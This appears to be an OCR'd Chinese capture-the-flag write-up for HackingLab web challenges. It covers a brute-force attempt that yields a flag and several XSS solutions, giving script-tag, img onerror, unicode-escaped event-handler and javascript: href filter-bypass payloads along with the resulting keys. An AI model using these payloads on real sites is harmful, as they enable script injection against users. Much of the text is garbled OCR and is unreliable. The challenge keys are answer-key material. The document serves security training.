9607

1

ERRE| EEEsEEn el

pekalEliEy

HFE - EGIERin A ERuET  RE@E TEHM

WHFEROET, RERBLE, RIEBKEELESRE, KEATLATIIR)

HITPIER 255D

1A EConnection: cloze

HITPEE(ElR &
® FIRIREED
O i IRIR SR
O TEMFIRIRETR

[ BzhiRirs02Es5Em

SRR,
®@{EHITE,

¢ O Sz

®EE 4 3 u |OEEFEE

I iF S0 Rl SR hE

3

Tr{AtE
(] fhist—Forware
IFEE:
(] {43501 ent-T¢
IHEE:
EIREE
[ RN THrhtL

I

HIERRE 2R E
[ #EFENTTE{LIE

mEe [



HiFiRE ERANGEERE RS RNSEERE

® FfiriTiaabe
SRR
gEd | |
HRFRIE: | 2
iERBnRE: | a0
e | 3
TR | 30

TN
TrigiERE

4k 4k 4k 4k

4k

R
® EIHRAREHE

pEE R

O] RAREHEETHE

=i
2
e

"

il

O BITmNEE

FiHEEE
® SRAFEZEEERE O RETATFETEAN 2R

O BE¥ imaE: UIF-s

MEAN 2EME EHEEHER  Eitan

L] MEEEEHER MmN TR

o=l
TF G R AR SR UE D
B zh
EHRER
FS AL
1 100
2 101
3 102
1 103
5 104
6 105

T =

ESnzE

3TTe
o911
BETS
6216
634
1269

200
200
200
200
200
200

wEE #R

w=HsE THiHM

=41 EA b

£ 1t

o RE
Z = 24
Z = 24
Z = 24
Z = 24
Z = 24
Z = 24

APE [

SEUEMmE: (http:

ISUFSNE: [<titl
i

EFE RS

1 218, 73. 21

z 183, 207. ¢

3 127.0.0.1



o=

TRiRE BERZSIEENE] JFE R RS

= =E L

- A AeochEETiER. £

EhIEIN

Eg

T B

AR AR, WREZSAEFHRG, EFREHRNRIER, BFEFRHLE (RNE2E—K--

REKE (Fburp suite—#, BRIVAKMKIREKERA KD , AHEREGHKTLLEZagT

p FEAV P IF FULLET LW VETREYW P RAVIT S [2RA, S TLs BT e i L I

BARE
EH.: |labl.xseclab. com
gl
B # &
ERER
Fs Hi{EL LHinze)
100 3778
2 101 7311
3 10z BETS
4 103 G216
5 104 G534
3] 108 1269
T 106 G137
g 107 b2tz
9 105 7318
10 109 6374
11 110 3920
1z 111 7354
13 112 3734
14 113 gvoz
15 114 J2ET
16 115 7124
17 116 BETS
15 117 1956
18 115 0335
20 118 4024
21 120 7751
22 121 o117
23 122 EEG0
24 123 3199
5 124 4434
26 125 0311
27 126 9573
28 127 7201
zg 128 o386
30 128 9283
31 130 ave’

K

fH -
XSS
4+E: 50

200
200
200
200
200
200
200
200
200
Z00
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
Z00
200
200

&

4 1% 0 0¥ 0% 0% T 0% 0 03 0% T T3 0 04 04 0 0¥ T3 0 T 03 0 T3 0¥ 03 D4 03 T 0¥ 0 D0

WED R B

4 1% 0 0¥ 0% 0% T 0% 0 03 0% T T3 0 04 04 0 0¥ T3 0 T 03 0 T3 0¥ 03 D4 03 T 0¥ 0 D0

wn |

25
28
25
28
25
it}
25
it}
25
pat}
25
25
25
25
25
25
25
25
25
25
28
25
28
25
it}
25
it}
25
pat}
25
25

TS AV S BRIGLALE U TTLLERS [ WL L KA VLT L

+ [ #EMEssL

ishE| EEE |EEmh R e

HTTF/1.1 200 O

Content—Encoding: gzip

Via: 3832

Pragma: no—cache

Cache-Control: no-store, no-cache, must-rewvalidate., post-chec
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Connection: close

Tranzfer-Encoding: chunked
Content-Type: text/html

Date: Thu, 02 Jul 2020 15:35:32 GMT
Server: nginx

flag {133dbcB5ddadaa*+)}

XSSHE:AL AR A 5 AT LAt % XSSHKM B AP 6 B R A Rt T EF ML ESHEM<T R 4>

Writeup:

TR AMER AxssURY, RE3E BI AT 3R ERkey

<script>alert(HackinglLab)</script>

|<:script>a|er‘t(HackingLat| TS | EE

Welcome guest



BH=xK

A :
XSSHE:A2:f#j B 5e 1T
43-{H: 100
R G AT LS K.

Writeup:
xss&eid
T3 T <script>FF%E, BURATE A <script>£#R~XSS_SCRIPT DETECTED!!!

|<script> |

Welcome XSS SCRIPT DETECTED!!

F Himghr2E geid H 3 &

<img src=# onerror=alert(HackingLab)>

|<img src=# onerror=alert{HackingLab)>

key is: xss2test2you

Welcome

R allIPS

A :
XSSHE:A2: f#j B 5e T
43-{H: 100
R HAT LS K.

Writeup:
BEFENY, A% \payload)fi B fEvalue

<I0FYm action= method= Uzl 2
<input type="text” name=":5" style="width:500px">
{input type="submit” »<input type="reset”>
</form>
Velcome <input type= text’ value=ﬁ >
<div id="msz” style="color: green; »</diw>
</body>
tml >

1NN BB ETE value="
23398 T =alert() <script>%%

i payload #5538 N #. 51 5 alertF F unicode 4s g Seit



http://tool.chinaz.com/tools/unicode.aspx

alert u0061\Ww006c\u0065\u007 2\u007 4

ASCIl # Unicode Unicode % ASCIIl Unicode % B3z

37 # Unicode

Hipayload, #iANZASHERS.,

' onmouseover=\u@B61\u0v6c\ukv65\ue072\u0074(HackinglLab) id="

IR A B2 onmouseoverE 4, 24 R Anfiliil ElWelcome 3817 FRIEAERS, &l R ¥ H

success!

FtThXK


http://tool.chinaz.com/tools/unicode.aspx

A
PrinciplefR EZ XSS
43-{E: 300
JRH/ENARSREE. . ARA FxssEMBE ST -

Take it easy!

Writeup:
BV, 7TLLEBIRINMAR AT FEaREF

e w1 ) R e v waer
{meta http-equiv=Content-Tvpe content="text/html;charset=utf-8">
{script type="text/javascript” sre="../xccis/xcs check. php"></script>

</head>

<body>
{form action="" method="FPOST">

{input type="text” name="g"

style="width:500px">
{input type="submit” ><{input type="reset”>

</form>

Velcome |<a href={testf >Efit Profile(¥SS HERE!)</a>

{div id=TEg —Style= color: green; »</div>

<div 1d="hint” style="color: white ><span style="color: black: ">Hint: </

</body>
</html >
{script type="text/javascript” src="../jquery-2.0.3. is">
{fsecript>

1A N BE S EatrZihref@ i+ .
2.Bif8 T javascript, alert&
BB T &

atr R hreff@ 1 5 in A\ javascriptiX & & & FH i B 5 762
{BRBATHE N T javascripte ki 3
BB, <>SWERRE, HBRANEjavascriptilalertf BN <>, X ikt ged 774 5 R T

pyaload:

javascri<>pt:aler<>t(HackingLab)

i A\payload/51R3T, rmdBbEEER:, BMEESLIME T

|javascri<:>pt:aler<:>t(HackingLab]

Welcome !Edit Profile(XSS HERE!)
key is: xssdisnoteasy
Hint:
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